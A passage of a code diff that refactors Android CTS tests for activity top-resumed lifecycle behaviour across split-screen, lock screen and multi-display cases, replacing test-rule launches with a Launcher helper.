import static org.junit.Assume.assumeTrue;
@@ -47,6 +48,7 @@
import android.app.ActivityOptions;
import android.content.ComponentName;
import android.content.Intent;
+import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
import android.server.wm.ActivityManagerState;
import android.server.wm.ActivityManagerState.ActivityStack;
@@ -68,23 +70,21 @@
* Build/Install/Run:
* atest CtsWindowManagerDeviceTestCases:ActivityLifecycleTopResumedStateTests
*/
-@FlakyTest(bugId = 117135575)
@MediumTest
@Presubmit
+@android.server.wm.annotation.Group3
public class ActivityLifecycleTopResumedStateTests extends ActivityLifecycleClientTestBase {
@Test
public void testTopPositionAfterLaunch() throws Exception {
- final Activity activity = mCallbackTrackingActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
+ launchActivityAndWait(CallbackTrackingActivity.class);
LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog());
}
@Test
public void testTopPositionLostOnFinish() throws Exception {
- final Activity activity = mCallbackTrackingActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
+ final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
getLifecycleLog().clear();
activity.finish();
@@ -96,13 +96,11 @@
@Test
public void testTopPositionSwitchToActivityOnTop() throws Exception {
- final Activity activity = mCallbackTrackingActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
+ final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
getLifecycleLog().clear();
- final Activity topActivity = mSingleTopActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(topActivity, ON_TOP_POSITION_GAINED),
- state(activity, ON_STOP));
+ final Activity topActivity = launchActivityAndWait(SingleTopActivity.class);
+ waitAndAssertActivityStates(state(activity, ON_STOP));
LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class,
CallbackTrackingActivity.class, getLifecycleLog(),
@@ -173,14 +171,12 @@
@Test
public void testTopPositionSwitchToTranslucentActivityOnTop() throws Exception {
- final Activity activity = mCallbackTrackingActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
+ final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
getLifecycleLog().clear();
- final Activity topActivity = mTranslucentCallbackTrackingActivityTestRule.launchActivity(
- new Intent());
- waitAndAssertActivityStates(state(topActivity, ON_TOP_POSITION_GAINED),
- state(activity, ON_PAUSE));
+ final Activity topActivity = launchActivityAndWait(
+ TranslucentCallbackTrackingActivity.class);
+ waitAndAssertActivityStates(state(activity, ON_PAUSE));
LifecycleVerifier.assertLaunchSequence(TranslucentCallbackTrackingActivity.class,
CallbackTrackingActivity.class, getLifecycleLog(),
@@ -189,16 +185,15 @@
@Test
public void testTopPositionSwitchOnDoubleLaunch() throws Exception {
- final Activity baseActivity =
- mCallbackTrackingActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(baseActivity, ON_TOP_POSITION_GAINED));
+ final Activity baseActivity = launchActivityAndWait(CallbackTrackingActivity.class);
getLifecycleLog().clear();
- final Activity launchForResultActivity = mLaunchForResultActivityTestRule.launchActivity(
- new Intent());
+ new Launcher(LaunchForResultActivity.class)
+ .setExpectedState(ON_STOP)
+ .setNoInstance()
+ .launch();
- waitAndAssertActivityStates(state(launchForResultActivity, ON_STOP),
- state(baseActivity, ON_STOP));
+ waitAndAssertActivityStates(state(baseActivity, ON_STOP));
final List<ActivityCallback> expectedTopActivitySequence =
Arrays.asList(
@@ -230,16 +225,15 @@
assertEquals("Double launch sequence must match", expectedTransitions, observedTransitions);
}
+ @FlakyTest(bugId=80414790)
@Test
public void testTopPositionSwitchOnDoubleLaunchAndTopFinish() throws Exception {
- final Activity baseActivity = mCallbackTrackingActivityTestRule.launchActivity(
- new Intent());
- waitAndAssertActivityStates(state(baseActivity, ON_TOP_POSITION_GAINED));
+ final Activity baseActivity = launchActivityAndWait(CallbackTrackingActivity.class);
getLifecycleLog().clear();
- final Intent launchAndFinishIntent = new Intent();
- launchAndFinishIntent.putExtra(EXTRA_FINISH_IN_ON_RESUME, true);
- mLaunchForResultActivityTestRule.launchActivity(launchAndFinishIntent);
+ final Activity launchForResultActivity = new Launcher(LaunchForResultActivity.class)
+ .customizeIntent(LaunchForResultActivity.forwardFlag(EXTRA_FINISH_IN_ON_RESUME))
+ .launch();
waitAndAssertActivityStates(state(baseActivity, ON_STOP));
final List<ActivityCallback> expectedLaunchingSequence =
@@ -284,38 +278,36 @@
}
@Test
+ @FlakyTest(bugId=127741025)
public void testTopPositionLostWhenDocked() throws Exception {
assumeTrue(supportsSplitScreenMultiWindow());
// Launch first activity
- final Activity firstActivity =
- mCallbackTrackingActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_GAINED));
+ final Activity firstActivity = launchActivityAndWait(CallbackTrackingActivity.class);
// Enter split screen
moveTaskToPrimarySplitScreenAndVerify(firstActivity);
}
@Test
+ @FlakyTest(bugId=127741025)
public void testTopPositionSwitchToAnotherVisibleActivity() throws Exception {
assumeTrue(supportsSplitScreenMultiWindow());
// Launch first activity
- final Activity firstActivity =
- mCallbackTrackingActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_GAINED));
+ final Activity firstActivity = launchActivityAndWait(CallbackTrackingActivity.class);
// Enter split screen
moveTaskToPrimarySplitScreenAndVerify(firstActivity);
// Launch second activity to side
getLifecycleLog().clear();
- final Activity secondActivity = mSingleTopActivityTestRule.launchActivity(
- new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
+ new Launcher(SingleTopActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
- // Wait for second activity to become top.
- waitAndAssertActivityStates(state(secondActivity, ON_TOP_POSITION_GAINED),
- state(firstActivity, ON_RESUME));
+ // Wait for first activity to resume after moving to primary split-screen
+ waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
// First activity must be resumed, but not gain the top position
LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
Arrays.asList(ON_RESUME), "unminimizeDockedStack");
@@ -324,31 +316,31 @@
}
@Test
+ @FlakyTest(bugId=127741025)
public void testTopPositionSwitchBetweenVisibleActivities() throws Exception {
assumeTrue(supportsSplitScreenMultiWindow());
// Launch first activity
- final Activity firstActivity =
- mCallbackTrackingActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_GAINED));
+ final Activity firstActivity = launchActivityAndWait(CallbackTrackingActivity.class);
// Enter split screen
moveTaskToPrimarySplitScreenAndVerify(firstActivity);
// Launch second activity to side
getLifecycleLog().clear();
- final Activity secondActivity = mSingleTopActivityTestRule.launchActivity(
- new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
+ final Activity secondActivity = new Launcher(SingleTopActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
- // Wait for second activity to become top.
- waitAndAssertActivityStates(state(secondActivity, ON_TOP_POSITION_GAINED),
- state(firstActivity, ON_RESUME));
+ // Wait for first activity to resume after moving to primary split-screen
+ waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
// Switch top between two activities
getLifecycleLog().clear();
- final Intent switchToFirstIntent = new Intent(mContext, CallbackTrackingActivity.class);
- switchToFirstIntent.addFlags(FLAG_ACTIVITY_NEW_TASK);
- mTargetContext.startActivity(switchToFirstIntent);
+ new Launcher(CallbackTrackingActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK)
+ .setNoInstance()
+ .launch();
waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_GAINED),
state(secondActivity, ON_TOP_POSITION_LOST));
@@ -359,9 +351,10 @@
// Switch top again
getLifecycleLog().clear();
- final Intent switchToSecondIntent = new Intent(mContext, SingleTopActivity.class);
- switchToSecondIntent.addFlags(FLAG_ACTIVITY_NEW_TASK);
- mTargetContext.startActivity(switchToSecondIntent);
+ new Launcher(SingleTopActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK)
+ .setNoInstance()
+ .launch();
waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_LOST),
state(secondActivity, ON_TOP_POSITION_GAINED));
@@ -375,14 +368,14 @@
@Test
public void testTopPositionNewIntent() throws Exception {
// Launch single top activity
- final Activity firstActivity = mSingleTopActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_GAINED));
+ launchActivityAndWait(SingleTopActivity.class);
// Launch the activity again to observe new intent
getLifecycleLog().clear();
- final Intent newIntent = new Intent(mContext, SingleTopActivity.class);
- newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK);
- mTargetContext.startActivity(newIntent);
+ new Launcher(SingleTopActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK)
+ .setNoInstance()
+ .launch();
waitAndAssertActivityTransitions(SingleTopActivity.class,
Arrays.asList(
@@ -393,22 +386,20 @@
@Test
public void testTopPositionNewIntentForStopped() throws Exception {
// Launch single top activity
- final Activity singleTopActivity = mSingleTopActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(singleTopActivity, ON_TOP_POSITION_GAINED));
+ final Activity singleTopActivity = launchActivityAndWait(SingleTopActivity.class);
// Launch another activity on top
- final Activity topActivity = mCallbackTrackingActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(singleTopActivity, ON_STOP),
- state(topActivity, ON_TOP_POSITION_GAINED));
+ final Activity topActivity = launchActivityAndWait(CallbackTrackingActivity.class);
+ waitAndAssertActivityStates(state(singleTopActivity, ON_STOP));
// Launch the single top activity again to observe new intent
getLifecycleLog().clear();
- final Intent newIntent = new Intent(mContext, SingleTopActivity.class);
- newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TOP);
- mTargetContext.startActivity(newIntent);
+ new Launcher(SingleTopActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TOP)
+ .setNoInstance()
+ .launch();
- waitAndAssertActivityStates(state(singleTopActivity, ON_TOP_POSITION_GAINED),
- state(topActivity, ON_DESTROY));
+ waitAndAssertActivityStates(state(topActivity, ON_DESTROY));
LifecycleVerifier.assertEntireSequence(Arrays.asList(
transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
@@ -426,39 +417,34 @@
@Test
public void testTopPositionNewIntentForPaused() throws Exception {
// Launch single top activity
- final Activity singleTopActivity = mSingleTopActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(singleTopActivity, ON_TOP_POSITION_GAINED));
+ final Activity singleTopActivity = launchActivityAndWait(SingleTopActivity.class);
// Launch a translucent activity on top
- final Activity topActivity = mTranslucentCallbackTrackingActivityTestRule.launchActivity(
- new Intent());
- waitAndAssertActivityStates(state(singleTopActivity, ON_PAUSE),
- state(topActivity, ON_TOP_POSITION_GAINED));
+ final Activity topActivity =
+ launchActivityAndWait(TranslucentCallbackTrackingActivity.class);
+ waitAndAssertActivityStates(state(singleTopActivity, ON_PAUSE));
// Launch the single top activity again to observe new intent
getLifecycleLog().clear();
- final Intent newIntent = new Intent(mContext, SingleTopActivity.class);
- newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TOP);
- mTargetContext.startActivity(newIntent);
+ new Launcher(SingleTopActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TOP)
+ .setNoInstance()
+ .launch();
- waitAndAssertActivityStates(state(singleTopActivity, ON_TOP_POSITION_GAINED),
- state(topActivity, ON_DESTROY));
+ waitAndAssertActivityStates(state(topActivity, ON_DESTROY));
- LifecycleVerifier.assertEntireSequence(Arrays.asList(
+ LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
transition(TranslucentCallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
transition(TranslucentCallbackTrackingActivity.class, ON_PAUSE),
transition(SingleTopActivity.class, ON_NEW_INTENT),
transition(SingleTopActivity.class, ON_RESUME),
- transition(SingleTopActivity.class, ON_TOP_POSITION_GAINED),
- transition(TranslucentCallbackTrackingActivity.class, ON_STOP),
- transition(TranslucentCallbackTrackingActivity.class, ON_DESTROY)),
- getLifecycleLog(), "Single top resolution sequence must match");
+ transition(SingleTopActivity.class, ON_TOP_POSITION_GAINED)),
+ "Single top resolution sequence must match");
}
@Test
public void testTopPositionSwitchWhenGoingHome() throws Exception {
- final Activity topActivity = mCallbackTrackingActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(topActivity, ON_TOP_POSITION_GAINED));
+ final Activity topActivity = launchActivityAndWait(CallbackTrackingActivity.class);
// Press HOME and verify the lifecycle
getLifecycleLog().clear();
@@ -470,25 +456,24 @@
}
@Test
+ @FlakyTest(bugId=127741025)
public void testTopPositionSwitchOnTap() throws Exception {
assumeTrue(supportsSplitScreenMultiWindow());
// Launch first activity
- final Activity firstActivity =
- mCallbackTrackingActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_GAINED));
+ final Activity firstActivity = launchActivityAndWait(CallbackTrackingActivity.class);
// Enter split screen
moveTaskToPrimarySplitScreenAndVerify(firstActivity);
// Launch second activity to side
getLifecycleLog().clear();
- final Activity secondActivity = mSingleTopActivityTestRule.launchActivity(
- new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
+ final Activity secondActivity = new Launcher(SingleTopActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
- // Wait for second activity to become top.
- waitAndAssertActivityStates(state(secondActivity, ON_TOP_POSITION_GAINED),
- state(firstActivity, ON_RESUME));
+ // Wait for first activity to resume after moving to primary split-screen
+ waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
// Tap on first activity to switch the focus
getLifecycleLog().clear();
@@ -518,6 +503,7 @@
}
@Test
+ @FlakyTest(bugId=127741025)
public void testTopPositionSwitchOnTapSlowDifferentProcess() throws Exception {
assumeTrue(supportsSplitScreenMultiWindow());
@@ -651,8 +637,7 @@
@Test
public void testTopPositionPreservedOnLocalRelaunch() throws Exception {
- final Activity activity = mCallbackTrackingActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
+ final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
getLifecycleLog().clear();
getInstrumentation().runOnMainSync(activity::recreate);
@@ -663,16 +648,17 @@
}
@Test
+ @FlakyTest(bugId=127741025)
public void testTopPositionLaunchedBehindLockScreen() throws Exception {
assumeTrue(supportsSecureLock());
- final Activity activity;
try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
lockScreenSession.setLockCredential().gotoKeyguard();
- activity = mCallbackTrackingActivityTestRule.launchActivity(
- new Intent());
- waitAndAssertActivityStates(state(activity, ON_STOP));
+ new Launcher(CallbackTrackingActivity.class)
+ .setExpectedState(ON_STOP)
+ .setNoInstance()
+ .launch();
LifecycleVerifier.assertLaunchAndStopSequence(CallbackTrackingActivity.class,
getLifecycleLog(), true /* onTop */);
@@ -680,17 +666,17 @@
}
// Lock screen removed - activity should be on top now
- waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
+ waitAndAssertActivityStates(state(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED));
LifecycleVerifier.assertStopToResumeSequence(CallbackTrackingActivity.class,
getLifecycleLog());
}
@Test
+ @FlakyTest(bugId=127741025)
public void testTopPositionRemovedBehindLockScreen() throws Exception {
assumeTrue(supportsSecureLock());
- final Activity activity = mCallbackTrackingActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
+ final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
getLifecycleLog().clear();
try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
@@ -710,6 +696,7 @@
}
@Test
+ @FlakyTest(bugId=127741025)
public void testTopPositionLaunchedOnTopOfLockScreen() throws Exception {
assumeTrue(supportsSecureLock());
@@ -717,9 +704,8 @@
try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
lockScreenSession.setLockCredential().gotoKeyguard();
- showWhenLockedActivity = mShowWhenLockedCallbackTrackingActivityTestRule.launchActivity(
- new Intent());
- waitAndAssertActivityStates(state(showWhenLockedActivity, ON_TOP_POSITION_GAINED));
+ showWhenLockedActivity =
+ launchActivityAndWait(ShowWhenLockedCallbackTrackingActivity.class);
// TODO(b/123432490): Fix extra pause/resume
LifecycleVerifier.assertSequence(ShowWhenLockedCallbackTrackingActivity.class,
@@ -741,15 +727,17 @@
}
@Test
+ @FlakyTest(bugId=127741025)
public void testTopPositionSwitchAcrossDisplays() throws Exception {
assumeTrue(supportsMultiDisplay());
// Launch activity on default display.
final ActivityOptions launchOptions = ActivityOptions.makeBasic();
launchOptions.setLaunchDisplayId(DEFAULT_DISPLAY);
- final Intent defaultDisplayIntent = new Intent(mContext, CallbackTrackingActivity.class);
- defaultDisplayIntent.setFlags(FLAG_ACTIVITY_NEW_TASK);
- mTargetContext.startActivity(defaultDisplayIntent, launchOptions.toBundle());
+ new Launcher(CallbackTrackingActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK)
+ .setOptions(launchOptions)
+ .launch();
waitAndAssertTopResumedActivity(getComponentName(CallbackTrackingActivity.class),
DEFAULT_DISPLAY, "Activity launched on default display must be focused");
@@ -758,15 +746,16 @@
try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
// Create new simulated display
- final ActivityManagerState.ActivityDisplay newDisplay
+ final ActivityManagerState.DisplayContent newDisplay
= virtualDisplaySession.setSimulateDisplay(true).createDisplay();
// Launch another activity on new secondary display.
getLifecycleLog().clear();
launchOptions.setLaunchDisplayId(newDisplay.mId);
- final Intent newDisplayIntent = new Intent(mContext, SingleTopActivity.class);
- newDisplayIntent.setFlags(FLAG_ACTIVITY_NEW_TASK);
- mTargetContext.startActivity(newDisplayIntent, launchOptions.toBundle());
+ new Launcher(SingleTopActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK)
+ .setOptions(launchOptions)
+ .launch();
waitAndAssertTopResumedActivity(getComponentName(SingleTopActivity.class),
newDisplay.mId, "Activity launched on secondary display must be focused");
@@ -797,216 +786,318 @@
// Launch activity on default display.
final ActivityOptions launchOptions = ActivityOptions.makeBasic();
launchOptions.setLaunchDisplayId(DEFAULT_DISPLAY);
- final Intent defaultDisplayIntent = new Intent(mContext, CallbackTrackingActivity.class);
- defaultDisplayIntent.setFlags(FLAG_ACTIVITY_NEW_TASK);
- mTargetContext.startActivity(defaultDisplayIntent, launchOptions.toBundle());
+ new Launcher(CallbackTrackingActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK)
+ .setOptions(launchOptions)
+ .launch();
waitAndAssertTopResumedActivity(getComponentName(CallbackTrackingActivity.class),
DEFAULT_DISPLAY, "Activity launched on default display must be focused");
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new simulated display
- final ActivityManagerState.ActivityDisplay newDisplay
- = virtualDisplaySession.setSimulateDisplay(true).createDisplay();
+ // Create new simulated display
+ final ActivityManagerState.DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
- // Launch another activity on new secondary display.
- getLifecycleLog().clear();
- launchOptions.setLaunchDisplayId(newDisplay.mId);
- final Intent newDisplayIntent = new Intent(mContext, SingleTopActivity.class);
- newDisplayIntent.setFlags(FLAG_ACTIVITY_NEW_TASK);
- mTargetContext.startActivity(newDisplayIntent, launchOptions.toBundle());
- waitAndAssertTopResumedActivity(getComponentName(SingleTopActivity.class),
- newDisplay.mId, "Activity launched on secondary display must be focused");
+ // Launch another activity on new secondary display.
+ getLifecycleLog().clear();
+ launchOptions.setLaunchDisplayId(newDisplay.mId);
+ new Launcher(SingleTopActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK)
+ .setOptions(launchOptions)
+ .launch();
+ waitAndAssertTopResumedActivity(getComponentName(SingleTopActivity.class),
+ newDisplay.mId, "Activity launched on secondary display must be focused");
- getLifecycleLog().clear();
+ getLifecycleLog().clear();
- // Tap on default display to switch the top activity
- tapOnDisplayCenter(DEFAULT_DISPLAY);
+ // Tap on default display to switch the top activity
+ tapOnDisplayCenter(DEFAULT_DISPLAY);
- // Wait and assert focus switch
- waitAndAssertActivityTransitions(SingleTopActivity.class,
- Arrays.asList(ON_TOP_POSITION_LOST), "tapOnFocusSwitch");
- waitAndAssertActivityTransitions(CallbackTrackingActivity.class,
- Arrays.asList(ON_TOP_POSITION_GAINED), "tapOnFocusSwitch");
- LifecycleVerifier.assertEntireSequence(Arrays.asList(
- transition(SingleTopActivity.class, ON_TOP_POSITION_LOST),
- transition(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED)),
- getLifecycleLog(), "Top activity must be switched on tap");
+ // Wait and assert focus switch
+ waitAndAssertActivityTransitions(SingleTopActivity.class,
+ Arrays.asList(ON_TOP_POSITION_LOST), "tapOnFocusSwitch");
+ waitAndAssertActivityTransitions(CallbackTrackingActivity.class,
+ Arrays.asList(ON_TOP_POSITION_GAINED), "tapOnFocusSwitch");
+ LifecycleVerifier.assertEntireSequence(Arrays.asList(
+ transition(SingleTopActivity.class, ON_TOP_POSITION_LOST),
+ transition(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED)),
+ getLifecycleLog(), "Top activity must be switched on tap");
- getLifecycleLog().clear();
+ getLifecycleLog().clear();
- // Tap on new display to switch the top activity
- tapOnDisplayCenter(newDisplay.mId);
+ // Tap on new display to switch the top activity
+ tapOnDisplayCenter(newDisplay.mId);
- // Wait and assert focus switch
- waitAndAssertActivityTransitions(CallbackTrackingActivity.class,
- Arrays.asList(ON_TOP_POSITION_LOST), "tapOnFocusSwitch");
- waitAndAssertActivityTransitions(SingleTopActivity.class,
- Arrays.asList(ON_TOP_POSITION_GAINED), "tapOnFocusSwitch");
- LifecycleVerifier.assertEntireSequence(Arrays.asList(
- transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
- transition(SingleTopActivity.class, ON_TOP_POSITION_GAINED)),
- getLifecycleLog(), "Top activity must be switched on tap");
- }
+ // Wait and assert focus switch
+ waitAndAssertActivityTransitions(CallbackTrackingActivity.class,
+ Arrays.asList(ON_TOP_POSITION_LOST), "tapOnFocusSwitch");
+ waitAndAssertActivityTransitions(SingleTopActivity.class,
+ Arrays.asList(ON_TOP_POSITION_GAINED), "tapOnFocusSwitch");
+ LifecycleVerifier.assertEntireSequence(Arrays.asList(
+ transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
+ transition(SingleTopActivity.class, ON_TOP_POSITION_GAINED)),
+ getLifecycleLog(), "Top activity must be switched on tap");
}
@Test
- public void testTopPositionSwitchAcrossDisplaysOnTapSlowDifferentProcess() throws Exception {
+ public void testTopPositionSwitchAcrossDisplaysOnTapSlowDifferentProcess() {
assumeTrue(supportsMultiDisplay());
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new simulated display
- final ActivityManagerState.ActivityDisplay newDisplay
- = virtualDisplaySession.setSimulateDisplay(true).createDisplay();
+ // Create new simulated display.
+ final ActivityManagerState.DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
- // Launch an activity on new secondary display.
- final Class<? extends Activity> secondActivityClass =
- SecondProcessCallbackTrackingActivity.class;
- final ComponentName secondActivityComponent =
- new ComponentName(getTargetContext(), secondActivityClass);
+ // Launch an activity on new secondary display.
+ final Class<? extends Activity> secondActivityClass =
+ SecondProcessCallbackTrackingActivity.class;
+ final ComponentName secondActivityComponent =
+ new ComponentName(mTargetContext, secondActivityClass);
- getLaunchActivityBuilder()
- .setTargetActivity(secondActivityComponent)
- .setUseInstrumentation()
- .setDisplayId(newDisplay.mId)
- .execute();
- waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED));
+ getLaunchActivityBuilder()
+ .setTargetActivity(secondActivityComponent)
+ .setUseInstrumentation()
+ .setDisplayId(newDisplay.mId)
+ .execute();
+ waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED));
- // Launch activity on default display, which will be slow to release top position
- getLifecycleLog().clear();
- final ActivityOptions launchOptions = ActivityOptions.makeBasic();
- launchOptions.setLaunchDisplayId(DEFAULT_DISPLAY);
- final Class defaultActivityClass = SlowActivity.class;
- final Intent defaultDisplaySlowIntent = new Intent(mContext, defaultActivityClass);
- defaultDisplaySlowIntent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
- defaultDisplaySlowIntent.putExtra(SlowActivity.EXTRA_CONTROL_FLAGS,
- SlowActivity.FLAG_SLOW_TOP_RESUME_RELEASE);
- mTargetContext.startActivity(defaultDisplaySlowIntent, launchOptions.toBundle());
+ // Launch activity on default display, which will be slow to release top position.
+ getLifecycleLog().clear();
+ final ActivityOptions launchOptions = ActivityOptions.makeBasic();
+ launchOptions.setLaunchDisplayId(DEFAULT_DISPLAY);
+ final Class<? extends Activity> defaultActivityClass = SlowActivity.class;
+ final Intent defaultDisplaySlowIntent = new Intent(mContext, defaultActivityClass);
+ defaultDisplaySlowIntent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
+ defaultDisplaySlowIntent.putExtra(SlowActivity.EXTRA_CONTROL_FLAGS,
+ SlowActivity.FLAG_SLOW_TOP_RESUME_RELEASE);
+ mTargetContext.startActivity(defaultDisplaySlowIntent, launchOptions.toBundle());
- waitAndAssertTopResumedActivity(getComponentName(SlowActivity.class),
- DEFAULT_DISPLAY, "Activity launched on default display must be focused");
+ waitAndAssertTopResumedActivity(getComponentName(SlowActivity.class),
+ DEFAULT_DISPLAY, "Activity launched on default display must be focused");
- // Wait and assert focus switch
- waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_LOST),
- state(defaultActivityClass, ON_TOP_POSITION_GAINED));
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
- transition(secondActivityClass, ON_TOP_POSITION_LOST),
- transition(defaultActivityClass, ON_TOP_POSITION_GAINED)),
- "launchOnDifferentDisplay");
+ // Wait and assert focus switch
+ waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_LOST),
+ state(defaultActivityClass, ON_TOP_POSITION_GAINED));
+ LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ transition(secondActivityClass, ON_TOP_POSITION_LOST),
+ transition(defaultActivityClass, ON_TOP_POSITION_GAINED)),
+ "launchOnDifferentDisplay");
- // Tap on secondary display to switch the top activity
- getLifecycleLog().clear();
- tapOnDisplayCenter(newDisplay.mId);
+ // Tap on secondary display to switch the top activity.
+ getLifecycleLog().clear();
+ tapOnDisplayCenter(newDisplay.mId);
- // Wait and assert top resumed position switch
- waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED),
- state(defaultActivityClass, ON_TOP_POSITION_LOST));
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
- transition(defaultActivityClass, ON_TOP_POSITION_LOST),
- transition(secondActivityClass, ON_TOP_POSITION_GAINED)),
- "tapOnDifferentDisplay");
+ // Wait and assert top resumed position switch.
+ waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED),
+ state(defaultActivityClass, ON_TOP_POSITION_LOST));
+ LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ transition(defaultActivityClass, ON_TOP_POSITION_LOST),
+ transition(secondActivityClass, ON_TOP_POSITION_GAINED)),
+ "tapOnDifferentDisplay");
- // Tap on default display to switch the top activity again
- getLifecycleLog().clear();
- tapOnDisplayCenter(DEFAULT_DISPLAY);
+ // Tap on default display to switch the top activity again.
+ getLifecycleLog().clear();
+ tapOnDisplayCenter(DEFAULT_DISPLAY);
- // Wait and assert top resumed position switch
- waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_LOST),
- state(defaultActivityClass, ON_TOP_POSITION_GAINED));
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
- transition(secondActivityClass, ON_TOP_POSITION_LOST),
- transition(defaultActivityClass, ON_TOP_POSITION_GAINED)),
- "tapOnDifferentDisplay");
- }
+ // Wait and assert top resumed position switch.
+ waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_LOST),
+ state(defaultActivityClass, ON_TOP_POSITION_GAINED));
+ LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ transition(secondActivityClass, ON_TOP_POSITION_LOST),
+ transition(defaultActivityClass, ON_TOP_POSITION_GAINED)),
+ "tapOnDifferentDisplay");
}
@Test
- public void testTopPositionSwitchAcrossDisplaysOnTapTimeoutDifferentProcess() throws Exception {
+ public void testTopPositionSwitchAcrossDisplaysOnTapTimeoutDifferentProcess() {
assumeTrue(supportsMultiDisplay());
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new simulated display
